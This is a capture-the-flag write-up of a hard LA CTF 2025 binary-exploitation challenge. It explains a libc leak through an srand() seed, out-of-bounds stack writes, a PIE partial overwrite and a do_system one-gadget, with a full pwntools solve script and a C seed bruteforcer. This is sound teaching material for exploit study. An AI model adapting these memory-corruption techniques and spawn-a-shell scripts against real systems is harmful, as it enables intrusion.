Pwn The Time War

LACTFby smothy

this-is-how-you-pwn-the-time-war - LA CTF 2025 PWN Writeup

Category: PWN Difficulty: Hard Points: 344 Solves: 12 Author: aplet123 Hint: "Delete before solving" Flag: lactf{pwn_challs_are_bits_in_binaries_cast_into_the_waves_of_time} Solved by: Smothy @ 0xN1umb


Hackerman

"They gave us the source code and we STILL spent 10 exploit versions debugging PID namespaces."


Challenge Description

You see a locked box. The dial on the lock reads: X-X-X-X. Which dial do you want to turn?

A deceptively simple binary that gives you exactly two 2-byte writes per round -- with no bounds checking on the index. The catch? PIE is enabled, there is no leak primitive besides the srand() seed, and the whole thing runs inside pwn.red/jail where PID namespace semantics will absolutely ruin your day if you pick the wrong gadget. 344 points, 12 solves, and every single one of those 12 teams earned it.

TL;DR

Binary seeds srand() with a libc function pointer (free libc base leak!), gives us unchecked OOB 2-byte writes on a short array, and we use a PIE partial overwrite to loop run(), then redirect main's return to glibc's internal do_system() one-gadget which calls posix_spawn("/bin/sh") + waitpid() -- keeping PID 1 alive so the child shell can read the flag without getting SIGKILL'd. Binary exploitation meets Linux namespace internals go brrr.

Initial Recon

First things first -- let's see what we're working with.

The challenge provides source code (nice!), the binary, a custom ld.so (RUNPATH='.'), libc, and a Dockerfile. Let's check protections:

$ checksec pwn_the_time_war Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled RUNPATH: b'.' Stripped: No

No canary is great. PIE enabled means we can't use static addresses without a leak or partial overwrite. Partial RELRO means GOT is writable but we won't need it. The RUNPATH='.' means it uses the provided ld.so and libc.so.6 -- glibc 2.36-9+deb12u13 (Debian Bookworm).

The Dockerfile reveals pwn.red/jail -- this is nsjail, which creates a PID namespace. This detail becomes absolutely critical later.

dockerfile
FROM pwn.red/jail
COPY --from=debian@sha256:56ff... / /srv
COPY pwn_the_time_war /srv/app/run
COPY flag.txt /srv/app/flag.txt
ENV JAIL_TIME=180

Step 1: Source Code Analysis - Two Beautiful Bugs

The source is only 38 lines. Let's break down the two bugs:

Bug 1: Libc Base Leak via srand(clock_gettime)

c
void init() {
    setbuf(stdout, NULL);
    srand(clock_gettime);  // Function POINTER, not function CALL!
}

This passes the address of clock_gettime (a libc function at offset 0xcf420) as the seed to srand(). Since srand() takes an unsigned int, it truncates to the lower 32 bits. But that's enough -- since clock_gettime is at a fixed offset from libc base, if we can recover the seed, we know libc_base & 0xFFFFFFFF.

Bug 2: Unchecked Array Index = Arbitrary 2-Byte Write

c
void run() {
    short code[4];  // 8 bytes on stack
    // ... fills code with rand()%16 ...
    short ind1, val1, ind2, val2;
    scanf("%hd", &ind1);  // NO BOUNDS CHECK!
    scanf("%hd", &val1);
    scanf("%hd", &ind2);  // Second OOB write!
    scanf("%hd", &val2);
    code[ind1] = val1;    // Arbitrary 2-byte write!
    code[ind2] = val2;    // Arbitrary 2-byte write!
}

code[ind] writes 2 bytes at rbp - 0x0c + ind * 2. With no bounds checking, we can write anywhere relative to the stack frame. Two writes per round.

Step 2: Seed Recovery - Turning the Dial

The binary prints 4 values from rand() % 16 (the "time dial"). Since the seed is the lower 32 bits of a libc address, and clock_gettime is at offset 0xcf420, we know:

seed & 0xFFF == 0x420 (page-aligned base + fixed offset)

This reduces the 2^32 search space to ~1M candidates. We wrote a C bruteforcer:

c
// bruteforce.c
for (unsigned long base = 0x420; base < 0x100000000UL; base += 0x1000) {
    unsigned int seed = (unsigned int)base;
    srand(seed);
    if (rand() % 16 != v[0]) continue;
    if (rand() % 16 != v[1]) continue;
    if (rand() % 16 != v[2]) continue;
    if (rand() % 16 != v[3]) continue;
    printf("%u\n", seed);
}

This gives us about 16 candidate seeds per dial reading. We pick one at random -- 1/16 chance of being correct. From the seed, we compute libc_base_low32 = seed - 0xcf420.

Step 3: Stack Layout & OOB Index Map

For the homies who haven't done OOB stack writes before -- here's the full picture of what we can reach:

The key indices:

  • ind=10 -> run()'s return address (2 bytes at rbp+0x08) -- used for PIE redirect
  • ind=18 -> main()'s return address, lower 2 bytes (libc address overwrite)
  • ind=19 -> main()'s return address, upper 2 bytes
  • ind=154 -> argv[0] lower 2 bytes (zero this for gadget constraints)

Step 4: The Multi-Round Loop - PIE Partial Overwrite

We only get 2 writes per round, but we need 4 bytes of precision for the libc address (ind=18 and ind=19) plus constraint setup. Solution: make run() loop.

The main() disassembly shows:

asm
0x132a:  mov    eax, 0x0
0x132f:  call   11b2 <run>     ; <-- we redirect here!
0x1334:  mov    eax, 0x0       ; rax = 0 after return
0x1339:  pop    rbp
0x133a:  ret                   ; hijacked to one_gadget

By partially overwriting run()'s return address (ind=10) with the low 2 bytes pointing to 0x132f (call run), we make run() get called again! Since PIE randomizes in 4KB pages, only the upper nibble of byte 1 is unknown -- giving us a 1/16 brute force on the PIE nibble.

python
pie_redirect = to_signed_short(((pie_nibble << 12) + 0x132f) & 0xFFFF)

Step 5: The Breakthrough - do_system() One Gadget

This is where things got really spicy. We tried 5 different approaches before finding the one that works remotely.

The PID Namespace Problem

Inside pwn.red/jail (nsjail), the binary runs as PID 1. When PID 1 dies, the kernel sends SIGKILL to all processes in the namespace. This means:

  1. If we use a gadget that calls posix_spawn() and then the parent crashes...
  2. PID 1 dies -> SIGKILL to child shell -> no flag output
  3. The child never even gets a chance to execute our commands

The Solution: do_system() at libc+0x4c139

This gadget is inside glibc's do_system() function. The execution flow:

  1. Sets up argv = {"sh", NULL}
  2. Calls posix_spawn("/bin/sh", ...)
  3. Calls waitpid() which BLOCKS the parent!

The waitpid() is the magic. PID 1 stays alive, waiting for the child to finish. The child shell reads our pre-buffered commands from stdin, executes cat /flag.txt, outputs the flag, and exits. Then waitpid() returns, the parent exits cleanly, and the namespace shuts down gracefully. No race condition!

Gadget Constraints for 0x4c139

rsp & 0xf == 0 -> After main's ret, rsp is aligned rax == NULL -> main returns 0! rbx == NULL || (u16)[rbx] == 0 -> Zero argv[0] lower 2 bytes

The third constraint is the tricky one. At main's return, rbx holds the argv pointer. We need (u16)[rbx] == 0, which means the first 2 bytes of argv[0] must be zero.

This is where the hint comes in! "Delete before solving" = zero (delete) argv[0]'s lower bytes before triggering the gadget. We write 0 to index 154, which hits argv[0] bytes 0-1.

Step 6: The Final Exploit - 2 Rounds to Victory

The exploit is clean -- just 2 rounds:

Round 1:

  • Write 1 (ind=10): PIE partial overwrite -> redirect run() to call run (1/16 guess)
  • Write 2 (ind=154): Zero argv[0] lower 2 bytes (satisfies gadget constraint)

Round 2:

  • Write 1 (ind=18): Lower 2 bytes of main's return -> libc+0x4c139
  • Write 2 (ind=19): Upper 2 bytes of main's return -> libc+0x4c139

Then immediately send flag commands which sit in the kernel socket buffer:

cat /app/flag.txt cat /flag.txt cat /srv/app/flag.txt

Probability per attempt: 1/16 (PIE) x 1/16 (seed) = 1/256

The Flag

lactf{pwn_challs_are_bits_in_binaries_cast_into_the_waves_of_time}

Solved on attempt #48 with 7 successful round-2 hits. 344 points. 12 solves. Let's gooo.

Breaking down the flag in l33t: pwn_challs_are_bits_in_binaries_cast_into_the_waves_of_time -- poetic. The challenge name is a reference to the novel "This Is How You Lose the Time War" by Amal El-Mohtar and Max Gladstone. Respect to aplet123 for the literary vibes.

The Solve Script

python
#!/usr/bin/env python3
"""
Exploit for this-is-how-you-pwn-the-time-war - LA CTF 2025
Smothy @ 0xN1umb

2-round do_system one_gadget (libc+0x4c139):
1. PIE redirect + zero (u16)[argv[0]] (satisfies posix_spawnattr flags=0)
2. Overwrite main's return to do_system one_gadget

Key insight: 0x4c139 is inside glibc's do_system() function.
After posix_spawn("/bin/sh") succeeds, do_system() calls waitpid()
which BLOCKS PID 1 (the parent). This keeps the PID namespace alive,
giving the child shell unlimited time to execute commands.

No race condition! Probability: ~1/256 per attempt (1/16 PIE + 1/16 seed).
"""
from pwn import *
import subprocess, sys, time, random, socket

context.binary = './pwn_the_time_war'
context.log_level = 'error'
import os; os.environ['PYTHONUNBUFFERED'] = '1'

CLOCK_GETTIME_OFF = 0xcf420
OG_SYSTEM = 0x4c139  # do_system one_gadget with waitpid!

IND_RUN_RET = 10       # run()'s return address (PIE redirect)
IND_MAIN_RET_LO = 18   # main's return address, bytes 0-1
IND_MAIN_RET_HI = 19   # main's return address, bytes 2-3
IND_ARGV0_B01 = 154    # argv[0] bytes 0-1 (zero for attrp flags)

FLAG_CMDS = b'\n'.join([
    b"cat /app/flag.txt",
    b"cat /flag.txt",
    b"cat /srv/app/flag.txt",
    b"id",
])

hits = 0


def to_signed_short(val):
    val = val & 0xFFFF
    return val - 0x10000 if val >= 0x8000 else val


def find_seeds(v0, v1, v2, v3):
    result = subprocess.run(
        ['./bruteforce', str(v0), str(v1), str(v2), str(v3)],
        capture_output=True, text=True, timeout=30
    )
    return [int(l.strip()) for l in result.stdout.strip().split('\n') if l.strip()]


def attempt(target, pie_nibble):
    global hits
    try:
        if target == 'local':
            p = process('./pwn_the_time_war')
        else:
            p = remote('chall.lac.tf', 31313, timeout=10)
    except Exception:
        return None

    try:
        if hasattr(p, 'sock'):
            p.sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)

        line = p.recvline(timeout=10).decode().strip()
        if 'dial' not in line:
            p.close()
            return None
        vals = [int(x) for x in line.split(': ')[1].split('-')]
        seeds = find_seeds(*vals)
        if not seeds:
            p.close()
            return None

        seed = random.choice(seeds)
        libc_base_low32 = (seed - CLOCK_GETTIME_OFF) & 0xFFFFFFFF
        og_low32 = (libc_base_low32 + OG_SYSTEM) & 0xFFFFFFFF
        og_lo = to_signed_short(og_low32 & 0xFFFF)
        og_hi = to_signed_short((og_low32 >> 16) & 0xFFFF)
        pie_redirect = to_signed_short(((pie_nibble << 12) + 0x132f) & 0xFFFF)

        # Round 1: PIE redirect + zero (u16)[argv[0]]
        p.recvuntil(b'turn? ')
        p.sendline(str(IND_RUN_RET).encode())
        p.recvuntil(b'set it to? ')
        p.sendline(str(pie_redirect).encode())
        p.recvuntil(b'turn? ')
        p.sendline(str(IND_ARGV0_B01).encode())
        p.recvuntil(b'set it to? ')
        p.sendline(b'0')

        # Check if round 2 starts (PIE redirect worked)
        try:
            data = p.recvuntil(b'turn? ', timeout=4)
            if b'turn?' not in data:
                p.close()
                return None
        except:
            p.close()
            return None

        # Round 2 (final): overwrite main's return to do_system one_gadget
        p.sendline(str(IND_MAIN_RET_LO).encode())
        p.recvuntil(b'set it to? ')
        p.sendline(str(og_lo).encode())
        p.recvuntil(b'turn? ')
        p.sendline(str(IND_MAIN_RET_HI).encode())
        p.recvuntil(b'set it to? ')
        p.sendline(str(og_hi).encode())

        hits += 1

        # Send flag commands (stay in kernel socket buffer for child shell)
        time.sleep(0.05)
        p.send(FLAG_CMDS + b'\n')

        # Wait for child to execute and output flag
        # Parent waitpid's so child has unlimited time!
        time.sleep(2)
        try:
            data = p.recv(timeout=5)
            text = data.decode(errors='replace')
            if 'lactf{' in text or 'flag{' in text or 'uid=' in text:
                print(f'[+] FLAG FOUND: {text.strip()}', flush=True)
                return text
            for l in text.strip().split('\n'):
                l = l.strip()
                if l and 'locked' not in l and 'dial' not in l:
                    print(f'[?] Output: {l[:120]}', flush=True)
        except EOFError:
            pass

        p.close()
        return None

    except Exception:
        try: p.close()
        except: pass
        return None


def main():
    global hits
    target = sys.argv[1] if len(sys.argv) > 1 else 'local'
    max_attempts = int(sys.argv[2]) if len(sys.argv) > 2 else 5000
    print(f'[*] Target: {target}, 2-round do_system, ~1/256 per attempt', flush=True)

    for i in range(1, max_attempts + 1):
        pie_nibble = random.randint(0, 15)
        result = attempt(target, pie_nibble)
        if result:
            print(f'[+] SOLVED on attempt {i}! (round2 hits: {hits})', flush=True)
            for line in result.split('\n'):
                if 'lactf{' in line or 'flag{' in line:
                    print(f'[+] FLAG: {line.strip()}', flush=True)
            return

        if i % 10 == 0:
            print(f'[*] {i} attempts, {hits} reached round 2...', flush=True)

        if target != 'local':
            time.sleep(0.3)

    print(f'[-] Failed after {max_attempts} attempts', flush=True)


if __name__ == '__main__':
    main()

Supporting bruteforce tool:

c
// bruteforce.c - compile with: gcc -O2 -o bruteforce bruteforce.c
#include <stdio.h>
#include <stdlib.h>

int main(int argc, char **argv) {
    if (argc != 5) {
        fprintf(stderr, "Usage: %s v0 v1 v2 v3\n", argv[0]);
        return 1;
    }
    int v[4];
    for (int i = 0; i < 4; i++) v[i] = atoi(argv[i+1]);

    for (unsigned long base = 0x420; base < 0x100000000UL; base += 0x1000) {
        unsigned int seed = (unsigned int)base;
        srand(seed);
        if (rand() % 16 != v[0]) continue;
        if (rand() % 16 != v[1]) continue;
        if (rand() % 16 != v[2]) continue;
        if (rand() % 16 != v[3]) continue;
        printf("%u\n", seed);
    }
    return 0;
}

The Graveyard of Failed Attempts

Oh boy. Let me walk you through the suffering. 10 exploit versions, hundreds of core dumps, and way too many late-night debugging sessions.

Attempt 1: Direct posix_spawn One Gadget (0x776f4)

Files: exploit.py, exploit2.py

The first idea was simple -- overwrite main's return address with the posix_spawn one gadget at 0x776f4 in a single round (ind=18 for low bytes, ind=19 for high bytes). Locally this worked about 5% of the time due to a race condition. The child shell had to read and execute commands before the parent crashed and took down the PID namespace.

Remote: 0% success. The network latency plus nsjail overhead meant the child never had enough time. The parent would crash, PID 1 dies, SIGKILL to child, game over.

Attempt 2: execve One Gadget (0xd515f)

File: exploit2.py

Tried a different gadget that uses execve instead of posix_spawn. The constraint was rbp-0x38 must be writable. Turns out [S+0x90]=0xd in the libc startup code makes rbp-0x38 point to unmapped memory. Immediate SIGSEGV, no shell at all. Dead end.

Attempt 3: Multi-round with Main Pointer Zeroing (4 rounds)

Files: exploit3.py, exploit_final.py

Used PIE partial overwrite to loop run(), then spent 3 rounds zeroing the main function pointer at [LSCM_rsp+0x08] (indices 26, 27, 28). Theory: if the main pointer is zeroed, the code path after posix_spawn that dereferences it won't crash immediately, extending the parent's lifetime.

This extended the parent's life by maybe 200 microseconds through the abort() path. Locally worked sometimes. Remote: still 0%. The fundamental problem remained -- PID 1 eventually crashes, child gets SIGKILL.

Attempt 4: 5-Round Extended Lifetime ([S+0x28] Zeroing)

Files: exploit6.py, exploit9.py

Added another round (5 total) to zero [S+0x28] bytes 2-3, which prevented an early SIGSEGV at 0x77770. This squeezed out another ~50 microseconds of parent lifetime. Used exec cat /flag.txt to replace the shell process (no fork overhead = fastest possible).

Still a race. Locally ~8%. Remote: 0%. At this point we realized the entire posix_spawn approach was doomed remotely. The race window was microseconds, and the network round trip was milliseconds. We needed a fundamentally different approach.

Attempt 5: The Revelation - do_system()

File: exploit10.py

After staring at one_gadget output for way too long, we noticed offset 0x4c139. This is inside glibc's do_system() function -- and it calls waitpid() after posix_spawn. The waitpid() blocks the parent! PID 1 stays alive! The child shell has infinite time!

The constraint rbx == NULL || (u16)[rbx] == 0 was the last puzzle piece -- and then the hint "Delete before solving" clicked. Zero the lower 2 bytes of argv[0] (ind=154). That's the "deleting" the hint refers to.

Two rounds. No race. Solved on attempt 48.

Key Takeaways

  1. PID namespace semantics matter in jail challenges. When PID 1 dies, all child processes get SIGKILL. This is the #1 reason exploits work locally but fail remotely in nsjail containers. Always check if the binary runs as PID 1.

  2. Not all one_gadgets are created equal. The difference between posix_spawn (instant parent crash) and do_system (waitpid blocks parent) was the difference between 0% and 100% remote success. Read the gadget context, don't just check constraints.

  3. Hints are real. "Delete before solving" literally meant: zero (delete) a value before triggering the gadget. The challenge author is telling you exactly what to do.

  4. PIE partial overwrite is powerful. With no canary and an OOB write, a 1/16 nibble guess gives you function call redirection. Combined with another probabilistic step (seed guess), you get a 1/256 brute force that's very practical.

  5. srand(function_pointer) is a libc leak. The lower 32 bits of any libc address, combined with a known offset, gives you enough to compute target addresses. The 4 random outputs from rand()%16 constrain the seed to ~16 candidates.

  6. Kernel socket buffering is your friend. Commands sent to a socket sit in the kernel buffer. When posix_spawn creates a child that inherits the file descriptor, the child reads those buffered commands from stdin. No timing sensitivity needed if the parent stays alive.

  7. Write a C bruteforcer for speed-critical operations. The seed recovery needs to check ~1M candidates in <1 second. Python would be too slow in a bruteforce loop. A compiled C binary does it in milliseconds.

Tools Used

  • pwntools - Python exploit framework (process/remote management)
  • one_gadget - Finding useful libc gadgets (0x4c139, 0x776f4, 0xd515f)
  • objdump - Binary disassembly to understand PIE offsets
  • GDB - Dynamic debugging to verify stack layouts and register values
  • Custom bruteforce.c - Fast seed recovery from dial values
  • checksec - Binary protection analysis
  • Way too much caffeine
  • An unreasonable number of core dumps (200+ across 10 exploit versions)

Writeup by Smothy from 0xN1umb team. "pwn challs are bits in binaries cast into the waves of time" -- and sometimes the waves fight back. 10 exploits, 200 core dumps, 1 flag. GG aplet123.